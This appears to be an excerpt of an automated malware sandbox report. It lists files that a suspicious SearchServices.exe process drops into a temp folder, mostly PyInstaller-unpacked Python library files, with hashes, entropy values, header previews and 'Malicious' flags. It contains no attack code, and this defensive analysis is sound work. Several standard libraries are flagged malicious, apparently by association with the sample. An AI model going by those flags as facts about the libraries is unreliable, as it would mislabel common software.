Preview:	Copyright Jason R. Coombs..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to.deal in the Software without restriction, including without limitation the.rights to use, copy, modify, merge, publish, distribute, sublicense, and/or.sell copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING.FROM, OUT OF OR IN CONNECTION WITH THE SOFTW

C:\Users\user\AppData\Local\Temp\_MEI72402\setuptools-65.5.0.dist-info\METADATA

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6301
Entropy (8bit):	5.107162422517841
Encrypted:	false
SSDEEP:	192:W4rkAIG0wRg8wbNDdq6T9927uoU/GBpHFwTZ:Sq0wRg8wbNDdBh927uoU/GBRFi
MD5:	9E59BD13BB75B38EB7962BF64AC30D6F
SHA1:	70F6A68B42695D1BFA55ACB63D8D3351352B2AAC
SHA-256:	80C7A3B78EA0DFF1F57855EE795E7D33842A0827AA1EF4EE17EC97172A80C892
SHA-512:	67AC61739692ECC249EBDC8F5E1089F68874DCD65365DB1C389FDD0CECE381591A30B99A2774B8CAAA00E104F3E35FF3745AFF6F5F0781289368398008537AE7
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: setuptools.Version: 65.5.0.Summary: Easily download, build, install, upgrade, and uninstall Python packages.Home-page: https://github.com/pypa/setuptools.Author: Python Packaging Authority.Author-email: distutils-sig@python.org.Project-URL: Documentation, https://setuptools.pypa.io/.Project-URL: Changelog, https://setuptools.pypa.io/en/stable/history.html.Keywords: CPAN PyPI distutils eggs package management.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3 :: Only.Classifier: Topic :: Software Development :: Libraries :: Python Modules.Classifier: Topic :: System :: Archiving :: Packaging.Classifier: Topic :: System :: Systems Administration.Classifier: Topic :: Utilities.Requires-Python: >=3.7.License-File: LICENSE.Provides-Extra: certs.Provides-Extra: docs.Requi

C:\Users\user\AppData\Local\Temp\_MEI72402\setuptools-65.5.0.dist-info\RECORD

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	37694
Entropy (8bit):	5.560695955910088
Encrypted:	false
SSDEEP:	384:DDz9AkShgQUgq/kc2mIkpIVh498WjXYW1P5+Eu8X62aDoaQPKJfRQIbwA+hof2yf:Dn3OIyQgIAY8T/7T962lSsSGxt9Im
MD5:	E30355B5F7466BEE1691929B05EED672
SHA1:	B9F1275EF04F2D36DD1F801DE116AC12AA68722E
SHA-256:	CEBD9639E6923A470E818350691053C3CC846A72426A9BFCB70F092868FA0D5B
SHA-512:	C7A56FE3037A07035279FF063406F7999360D5B275D743C0EF88335EB98BE4CA539775CC1470BF121CE166AA53E3E55002BE7402350E62811EA2B4D0BBD6A617
Malicious:	false
Preview:	_distutils_hack/__init__.py,sha256=TSekhUW1fdE3rjU3b88ybSBkJxCEpIeWBob4cEuU3ko,6128.._distutils_hack/__pycache__/__init__.cpython-310.pyc,,.._distutils_hack/__pycache__/override.cpython-310.pyc,,.._distutils_hack/override.py,sha256=Eu_s-NF6VIZ4Cqd0tbbA5wtWky2IZPNd8et6GLt1mzo,44..distutils-precedence.pth,sha256=JjjOniUA5XKl4N5_rtZmHrVp0baW_LoHsN0iPaX10iQ,151..pkg_resources/__init__.py,sha256=fT5Y3P1tcSX8sJomClUU10WHeFmvqyNZM4UZHzdpAvg,108568..pkg_resources/__pycache__/__init__.cpython-310.pyc,,..pkg_resources/_vendor/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..pkg_resources/_vendor/__pycache__/__init__.cpython-310.pyc,,..pkg_resources/_vendor/__pycache__/appdirs.cpython-310.pyc,,..pkg_resources/_vendor/__pycache__/zipp.cpython-310.pyc,,..pkg_resources/_vendor/appdirs.py,sha256=MievUEuv3l_mQISH5SF0shDk_BNhHHzYiAPrT3ITN4I,24701..pkg_resources/_vendor/importlib_resources/__init__.py,sha256=evPm12kLgYqTm-pbzm60bOuumumT8IpBNWFp0uMyrzE,506..pkg_resources/_vendor/importli

C:\Users\user\AppData\Local\Temp\_MEI72402\setuptools-65.5.0.dist-info\WHEEL

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	92
Entropy (8bit):	4.820827594031884
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlViZHKRRP+tPCCfA5S:RtBMwlViojWBBf
MD5:	4D57030133E279CEB6A8236264823DFD
SHA1:	0FDC3988857C560E55D6C36DCC56EE21A51C196D
SHA-256:	1B5E87E00DC87A84269CEAD8578B9E6462928E18A95F1F3373C9EEF451A5BCC0
SHA-512:	CD98F2A416AC1B13BA82AF073D0819C0EA7C095079143CAB83037D48E9A5450D410DC5CF6B6CFF3F719544EDF1C5F0C7E32E87B746F1C04FE56FAFD614B39826
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.37.1).Root-Is-Purelib: true.Tag: py3-none-any..

C:\Users\user\AppData\Local\Temp\_MEI72402\setuptools-65.5.0.dist-info\entry_points.txt

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2740
Entropy (8bit):	4.540737240939103
Encrypted:	false
SSDEEP:	48:lELcZDy3g6ySDsm90rZh2Phv4hhpTqTog:yLAP8arZoP94hTTqcg
MD5:	D3262B65DB35BFFAAC248075345A266C
SHA1:	93AD6FE5A696252B9DEF334D182432CDA2237D1D
SHA-256:	DEC880BB89189B5C9B1491C9EE8A2AA57E53016EF41A2B69F5D71D1C2FBB0453
SHA-512:	1726750B22A645F5537C20ADDF23E3D3BAD851CD4BDBA0F9666F9F6B0DC848F9919D7AF8AD8847BD4F18D0F8585DDE51AFBAE6A4CAD75008C3210D17241E0291
Malicious:	false
Preview:	[distutils.commands].alias = setuptools.command.alias:alias.bdist_egg = setuptools.command.bdist_egg:bdist_egg.bdist_rpm = setuptools.command.bdist_rpm:bdist_rpm.build = setuptools.command.build:build.build_clib = setuptools.command.build_clib:build_clib.build_ext = setuptools.command.build_ext:build_ext.build_py = setuptools.command.build_py:build_py.develop = setuptools.command.develop:develop.dist_info = setuptools.command.dist_info:dist_info.easy_install = setuptools.command.easy_install:easy_install.editable_wheel = setuptools.command.editable_wheel:editable_wheel.egg_info = setuptools.command.egg_info:egg_info.install = setuptools.command.install:install.install_egg_info = setuptools.command.install_egg_info:install_egg_info.install_lib = setuptools.command.install_lib:install_lib.install_scripts = setuptools.command.install_scripts:install_scripts.rotate = setuptools.command.rotate:rotate.saveopts = setuptools.command.saveopts:saveopts.sdist = setuptools.command.sdist:sdist.seto

C:\Users\user\AppData\Local\Temp\_MEI72402\setuptools-65.5.0.dist-info\top_level.txt

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	41
Entropy (8bit):	3.9115956018096876
Encrypted:	false
SSDEEP:	3:3Wd+Nt8AfQYv:3Wd+Nttv
MD5:	789A691C859DEA4BB010D18728BAD148
SHA1:	AEF2CBCCC6A9A8F43E4E150E7FCF1D7B03F0E249
SHA-256:	77DC8BDFDBFF5BBAA62830D21FAB13E1B1348FF2ECD4CDCFD7AD4E1A076C9B88
SHA-512:	BC2F7CAAD486EB056CB9F68E6C040D448788C3210FF028397CD9AF1277D0051746CAE58EB172F9E73EA731A65B2076C6091C10BCB54D911A7B09767AA6279EF6
Malicious:	false
Preview:	_distutils_hack.pkg_resources.setuptools.

C:\Users\user\AppData\Local\Temp\_MEI72402\sqlite3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1473912
Entropy (8bit):	6.572390758739341
Encrypted:	false
SSDEEP:	24576:7nFjRWofXcFcdEKl+89yJ30SQUhXF7TuR7MNdRIxsg8xqh:77X6K080J30nUhXF7TuR7rxV8Y
MD5:	AAF9FD98BC2161AD7DFF996450173A3B
SHA1:	AB634C09B60AA18EA165084A042D917B65D1FE85
SHA-256:	F1E8B6C4D61AC6A320FA2566DA9391FBFD65A5AC34AC2E2013BC37C8B7B41592
SHA-512:	597FFE3C2F0966AB94FBB7ECAC27160C691F4A07332311F6A9BAF8DEC8B16FB16EC64DF734C3BDBABF2C0328699E234D14F1B8BD5AC951782D35EA0C78899E5F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......CG;..&U..&U..&U..^..&U.HZT..&U.HZP..&U.HZQ..&U.HZV..&U..TT..&U..&T..&U..Z]..&U..ZU..&U..Z...&U..ZW..&U.Rich.&U.................PE..d...X..c.........." ...".f..........lj..............................................Nw....`.............................................d"..$3.......................T..x).......... ...T...............................@...............(............................text...8e.......f.................. ..`.rdata...............j..............@..@.data....G...P...>...,..............@....pdata...............j..............@..@.rsrc................<..............@..@.reloc...............F..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\ucrtbase.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1016584
Entropy (8bit):	6.669319438805479
Encrypted:	false
SSDEEP:	24576:VkmZDEMHhp9v1Ikbn3ND0TNVOsIut8P4zmxvSZX0yplkA:mmZFHhp9v1Io3h0TN3pvkA
MD5:	0E0BAC3D1DCC1833EAE4E3E4CF83C4EF
SHA1:	4189F4459C54E69C6D3155A82524BDA7549A75A6
SHA-256:	8A91052EF261B5FBF3223AE9CE789AF73DFE1E9B0BA5BDBC4D564870A24F2BAE
SHA-512:	A45946E3971816F66DD7EA3788AACC384A9E95011500B458212DC104741315B85659E0D56A41570731D338BDF182141C093D3CED222C007038583CEB808E26FD
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........W..l9F.l9F.l9F...F.l9F.l8F.l9F...F.l9F..9G.l9F..:G.l9F..<G.l9F..7G.n9F..=G.l9F...F.l9F..;G.l9FRich.l9F........PE..d.....}X.........." .........`............................................................`A................................................p......................F...=......p...PX..T............................'...............O...............................text............................... ..`.rdata..<u.......v..................@..@.data....$...........r..............@....pdata.............................@..@.rsrc................4..............@..@.reloc..p............:..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\unicodedata.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1122176
Entropy (8bit):	5.381221577408984
Encrypted:	false
SSDEEP:	12288:6DYYMmuZ63NIQCb5Pfhnzr0ql8L8kXM7IRG5eeme6VZyrIBHdQLhfFE+uAM:gYYuLZV0m8vMMREtV6Vo4uYAM
MD5:	4C8AF8A30813E9380F5F54309325D6B8
SHA1:	169A80D8923FB28F89BC26EBF89FFE37F8545C88
SHA-256:	4B6E3BA734C15EC789B5D7469A5097BD082BDFD8E55E636DED0D097CF6511E05
SHA-512:	EA127779901B10953A2BF9233E20A4FAB2FBA6F97D7BAF40C1B314B7CD03549E0F4D2FB9BAD0FBC23736E21EB391A418D79A51D64402245C1CD8899E4D765C5A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......0...t..t..t..}...r..;...v..;...y..;...\|..;...w.....w......v..t..%.....u.....u...y.u.....u..Richt..........PE..d...(..c.........." ...".B..........@*.......................................@......4.....`.............................................X............ ..........<........)...0...... b..T............................`..@............`..x............................text...gA.......B.................. ..`.rdata.......`.......F..............@..@.data...............................@....pdata..<...........................@..@.rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\wheel-0.43.0.dist-info\INSTALLER

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI72402\wheel-0.43.0.dist-info\LICENSE.txt

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1107
Entropy (8bit):	5.115074330424529
Encrypted:	false
SSDEEP:	24:PWmrRONJHLH0cPP3gtkHw1h39QHOsUv4eOk4/+jvho3nPz:ttONJbbvE/NQHOs5eNS3n7
MD5:	7FFB0DB04527CFE380E4F2726BD05EBF
SHA1:	5B39C45A91A556E5F1599604F1799E4027FA0E60
SHA-256:	30C23618679108F3E8EA1D2A658C7CA417BDFC891C98EF1A89FA4FF0C9828654
SHA-512:	205F284F3A7E8E696C70ED7B856EE98C1671C68893F0952EEC40915A383BC452B99899BDC401F9FE161A1BF9B6E2CEA3BCD90615EEE9173301657A2CE4BAFE14
Malicious:	false
Preview:	MIT License..Copyright (c) 2012 Daniel Holth <dholth@fastmail.fm> and contributors..Permission is hereby granted, free of charge, to any person obtaining a.copy of this software and associated documentation files (the "Software"),.to deal in the Software without restriction, including without limitation.the rights to use, copy, modify, merge, publish, distribute, sublicense,.and/or sell copies of the Software, and to permit persons to whom the.Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included.in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL.THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR.OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERW

C:\Users\user\AppData\Local\Temp\_MEI72402\wheel-0.43.0.dist-info\METADATA

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	2153
Entropy (8bit):	5.088249746074878
Encrypted:	false
SSDEEP:	48:DEhpFu5MktjaywDK48d+md+7uT8RfkD1UKd+mOl1Awry:DEhpiMktjayq/7kOfsUzmbYy
MD5:	EBEA27DA14E3F453119DC72D84343E8C
SHA1:	7CEB6DBE498B69ABF4087637C6F500742FF7E2B4
SHA-256:	59BAC22B00A59D3E5608A56B8CF8EFC43831A36B72792EE4389C9CD4669C7841
SHA-512:	A41593939B9325D40CB67FD3F41CD1C9E9978F162487FB469094C41440B5F48016B9A66BE2E6E4A0406D6EEDB25CE4F5A860BA1E3DC924B81F63CEEE3AE31117
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: wheel.Version: 0.43.0.Summary: A built-package format for Python.Keywords: wheel,packaging.Author-email: Daniel Holth <dholth@fastmail.fm>.Maintainer-email: Alex Gr.nholm <alex.gronholm@nextday.fi>.Requires-Python: >=3.8.Description-Content-Type: text/x-rst.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: Topic :: System :: Archiving :: Packaging.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 3 :: Only.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: 3.10.Classifier: Programming Language :: Python :: 3.11.Classifier: Programming Language :: Python :: 3.12.Requires-Dist: pytest >= 6.0.0 ; extra == "test".Requires-Dist: setuptools >= 65 ; extra == "test".Project-URL: Changelog, https://wheel.readthedocs.io/en/s

C:\Users\user\AppData\Local\Temp\_MEI72402\wheel-0.43.0.dist-info\RECORD

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	4481
Entropy (8bit):	5.708718650123051
Encrypted:	false
SSDEEP:	96:sOXVom4ix01TQIvLgAoDH/H7vp88FxTXiJP+GJPSocKEJq5sZF3GI78IegK5EeZR:sOXVwMbY+USocKEJq5sZF3GeV2BvTRqA
MD5:	3BF3BB1F7DC98B0D835B9A3F9DE5E567
SHA1:	4947F4E2C3608B57378D07FC7A05B09AD2469BE5
SHA-256:	B4AF073109C04A481D5503D840BB3871FD8F3CAA378D28A9D92EB78E0FB13D70
SHA-512:	1741A69EB43B0E1A1E73E35F4A4CC57F1B546CEF3345B6C10A5CF2231953FE2FCD76EC34875629C4BD638B66DEA5DE90B2569F85C62F875A1B9F06FD0BED5E70
Malicious:	false
Preview:	../../Scripts/wheel.exe,sha256=L3HAq9hXCY0y3Y8Sr2CC7Wc7Lpvq3CZ9nKQkmHZC9n4,108411..wheel-0.43.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..wheel-0.43.0.dist-info/LICENSE.txt,sha256=MMI2GGeRCPPo6h0qZYx8pBe9_IkcmO8aifpP8MmChlQ,1107..wheel-0.43.0.dist-info/METADATA,sha256=WbrCKwClnT5WCKVrjPjvxDgxo2tyeS7kOJyc1GaceEE,2153..wheel-0.43.0.dist-info/RECORD,,..wheel-0.43.0.dist-info/WHEEL,sha256=EZbGkh7Ie4PoZfRQ8I0ZuP9VklN_TvcZ6DSE5Uar4z4,81..wheel-0.43.0.dist-info/entry_points.txt,sha256=rTY1BbkPHhkGMm4Q3F0pIzJBzW2kMxoG1oriffvGdA0,104..wheel/__init__.py,sha256=D6jhH00eMzbgrXGAeOwVfD5i-lCAMMycuG1L0useDlo,59..wheel/__main__.py,sha256=NkMUnuTCGcOkgY0IBLgBCVC_BGGcWORx2K8jYGS12UE,455..wheel/__pycache__/__init__.cpython-310.pyc,,..wheel/__pycache__/__main__.cpython-310.pyc,,..wheel/__pycache__/_setuptools_logging.cpython-310.pyc,,..wheel/__pycache__/bdist_wheel.cpython-310.pyc,,..wheel/__pycache__/macosx_libfile.cpython-310.pyc,,..wheel/__pycache__/metadata.cpython-310.

C:\Users\user\AppData\Local\Temp\_MEI72402\wheel-0.43.0.dist-info\WHEEL

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.672346887071811
Encrypted:	false
SSDEEP:	3:RtEeX/QFM+vxP+tPCCfA5I:Rt1Qq2WBB3
MD5:	24019423EA7C0C2DF41C8272A3791E7B
SHA1:	AAE9ECFB44813B68CA525BA7FA0D988615399C86
SHA-256:	1196C6921EC87B83E865F450F08D19B8FF5592537F4EF719E83484E546ABE33E
SHA-512:	09AB8E4DAA9193CFDEE6CF98CCAE9DB0601F3DCD4944D07BF3AE6FA5BCB9DC0DCAFD369DE9A650A38D1B46C758DB0721EBA884446A8A5AD82BB745FD5DB5F9B1
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: flit 3.9.0.Root-Is-Purelib: true.Tag: py3-none-any.

C:\Users\user\AppData\Local\Temp\_MEI72402\wheel-0.43.0.dist-info\entry_points.txt

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	104
Entropy (8bit):	4.271713330022269
Encrypted:	false
SSDEEP:	3:1SSAnAYgh+MWTMhk6WjrAM5t5ln:1Jb9WTMhk9jUM5t5ln
MD5:	6180E17C30BAE5B30DB371793FCE0085
SHA1:	E3A12C421562A77D90A13D8539A3A0F4D3228359
SHA-256:	AD363505B90F1E1906326E10DC5D29233241CD6DA4331A06D68AE27DFBC6740D
SHA-512:	69EAE7B1E181D7BA1D3E2864D31E1320625A375E76D3B2FBF8856B3B6515936ACE3138D4D442CABDE7576FCFBCBB0DEED054D90B95CFA1C99829DB12A9031E26
Malicious:	false
Preview:	[console_scripts].wheel=wheel.cli:main..[distutils.commands].bdist_wheel=wheel.bdist_wheel:bdist_wheel..

C:\Users\user\AppData\Local\Temp\_MEI72402\win32\_win32sysloader.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14848
Entropy (8bit):	5.112106937352672
Encrypted:	false
SSDEEP:	192:lGCm72PEO1jIUs0YqEcPbF55UgCWV4rofnbPmitE255qDLWn7ycLmrO/:8ardA0Bzx14r6nbN50W9/
MD5:	F9C9445BE13026F8DB777E2BBC26651D
SHA1:	E1D58C30E94B00B32AD1E9B806465643F4AFE980
SHA-256:	C953DB1F67BBD92114531FF44EE4D76492FDD3CF608DA57D5C04E4FE4FDD1B96
SHA-512:	587D9E8521C246865E16695E372A1675CFBC324E6258DD03479892D3238F634138EBB56985ED34E0C8C964C1AB75313182A4E687B598BB09C07FC143B506E9A8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......tSf.02..02..02..9J..22..bG..22..$Y..22..bG..;2..bG..82..bG..32..[..32..02...2...G..12...G..12...G..12..Rich02..................PE..d......d.........." ......................................................................`..........................................;..`...`;..d....p..t....`..................@...\|2..T............................2..8............0..p............................text............................... ..`.rdata..$....0......................@..@.data........P......................@....pdata.......`.......0..............@..@.rsrc...t....p.......4..............@..@.reloc..@............8..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\win32\win32api.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	133632
Entropy (8bit):	5.849731189887005
Encrypted:	false
SSDEEP:	3072:l2J5loMoEg9enX4oD8cdf0nlRVFhLaNKP/IyymuqCyqJhe:cblovEgqXHdfqlRVlP/IyzCyy
MD5:	00E5DA545C6A4979A6577F8F091E85E1
SHA1:	A31A2C85E272234584DACF36F405D102D9C43C05
SHA-256:	AC483D60A565CC9CBF91A6F37EA516B2162A45D255888D50FBBB7E5FF12086EE
SHA-512:	9E4F834F56007F84E8B4EC1C16FB916E68C3BAADAB1A3F6B82FAF5360C57697DC69BE86F3C2EA6E30F95E7C32413BABBE5D29422D559C99E6CF4242357A85F31
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......X.uV....................N.......N.......N.......................N...................J...........................Rich............PE..d......d.........." .........................................................P............`..........................................................0..\....................@..$....v..T............................<..8............0..........@....................text............................... ..`.rdata......0......................@..@.data...x(......."..................@....pdata..............................@..@.rsrc...\....0......................@..@.reloc..$....@......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\win32\win32trace.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.279236779449316
Encrypted:	false
SSDEEP:	384:peeH8ZmV+zknwMsADuVLw0T8DmrRl2j9BfEAZnpC9QJQ1BA:5+zi/uVDS9dl6pB
MD5:	B291ADAB2446DA62F93369A0DD662076
SHA1:	A6B6C1054C1F511C64AEFB5F6C031AFE553E70F0
SHA-256:	C5AD56E205530780326BD1081E94B212C65082B58E0F69788E3DC60EFFBD6410
SHA-512:	847CC9E82B9939DBDC58BFA3E5A9899D614642E0B07CF1508AA866CD69E4AD8C905DBF810A045D225E6C364E1D9F2A45006F0EB0895BCD5AAF9D81EE344D4AEA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........U@qD.@qD.@qD.I...DqD...E.BqD...A.JqD...@.HqD...G.CqD...E.BqD...E.BqD.T.E.EqD.@qE..qD...M.AqD...D.AqD...F.AqD.Rich@qD.................PE..d......d.........." .....,...,.......(....................................................`..........................................Q..T...dQ..........d....p.......................G..T...........................0H..8............@...............................text...........,.................. ..`.rdata.......@.......0..............@..@.data...(....`.......L..............@....pdata.......p.......R..............@..@.rsrc...d............V..............@..@.reloc...............Z..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\win32com\shell\shell.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	527872
Entropy (8bit):	6.165923585421349
Encrypted:	false
SSDEEP:	6144:bXtpsewPjUA2jGZ90SmgopJgUCBKw84O3Rpd0K1VS0cTZdxi2y3:bXtp5sIAN90pleK1VSXXi2g
MD5:	C2E1B245D4221BDA4C198CF18D9CA6AF
SHA1:	9682B6E966495F7B58255348563A86C63FBD488C
SHA-256:	89A8651DAD701DCE6B42B0E20C18B07DF6D08A341123659E05381EE796D23858
SHA-512:	C2F57E9303D37547671E40086DDAD4B1FC31C52D43994CFCEC974B259125E125C644873073F216F28066BB0C213CBEB1B9A3C149727C9F1BC50F198AC45A4C8A
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......M................).....[......[......[......[...................................................O.................Rich............................PE..d...(..d.........." ....."..........t.....................................................`.............................................L...............L.......xx...............!......T..............................8............@...............................text...^!.......".................. ..`.rdata.......@.......&..............@..@.data...@....0...^..................@....pdata..xx.......z...n..............@..@.rsrc...L...........................@..@.reloc...!......."..................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\zstandard\_cffi.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	655360
Entropy (8bit):	6.42955305712399
Encrypted:	false
SSDEEP:	12288:hs/doJlY/OBzRSxUlcUmNNuNkOFIj+fWT0hrHPPoX1yZgG7:sAuOBzRSxUlvFIj+fWIPPM1yZgg
MD5:	0080982BEA2119A8A32BBA8EB7C085FF
SHA1:	6D8FE536023AFE9CE89B9187112C58C5A52D5C48
SHA-256:	D3B19FD9787F8FF480474DDC02AC5617E48F2CF3604A901DC297FB5E10947578
SHA-512:	855EB1B647A21A02585606A11F1B083192EBE567D520DD8E3AC3FCE3D37055FB49263B2155F0857DE8BA79E97FCBD4DB8810E11E54F168BEB76BFEE8C3B2FC7C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.../.../.../...W)../..IS.../...W.../..IS.../..IS.../..IS.../..2Z.../.../.../../R.../../R.../../RE../../R.../..Rich./..................PE..d...$.Ae.........." ...#.....`...............................................P............`.............................................\...........0..........\|5...........@.......s..............................Pr..@...............8............................text............................... ..`.rdata..............................@..@.data...0...........................@....pdata..\|5.......6..................@..@.rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\zstandard\backend_c.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	524800
Entropy (8bit):	6.433457984475703
Encrypted:	false
SSDEEP:	12288:+hqzrH09USNNSNkUvpMnAp5Oqwj/k6OsoOfu/PYS/O51m3f:+hqzrH0evpMnApu86OsynYUpv
MD5:	4652C4087B148D08ADEFEDF55719308B
SHA1:	30E06026FEA94E5777C529B479470809025FFBE2
SHA-256:	003F439C27A532D6F3443706CCEFAC6BE4152BEBC1AA8BDF1C4ADFC095D33795
SHA-512:	D4972C51FFBCE63D2888DDFEAD2F616166B6F21A0C186CCF97A41C447C1FAC6E848F464E4ACDE05BEA5B24C73C5A03B834731F8807A54EE46CA8619B1D0C465D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........U..D4..D4..D4..ML:.N4...H..F4...L..F4...H..I4...H..L4...H..@4...A..G4..D4...4...I..E4...I..E4...IV.E4...I..E4..RichD4..................PE..d.....Ae.........." ...#.....................................................@............`.............................................d...$........ ......................0..d....k...............................j..@............... ............................text............................... ..`.rdata..............................@..@.data...(-.......(..................@....pdata..........,..................@..@.rsrc........ ......................@..@.reloc..d....0......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0gwdbbak.wfp.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
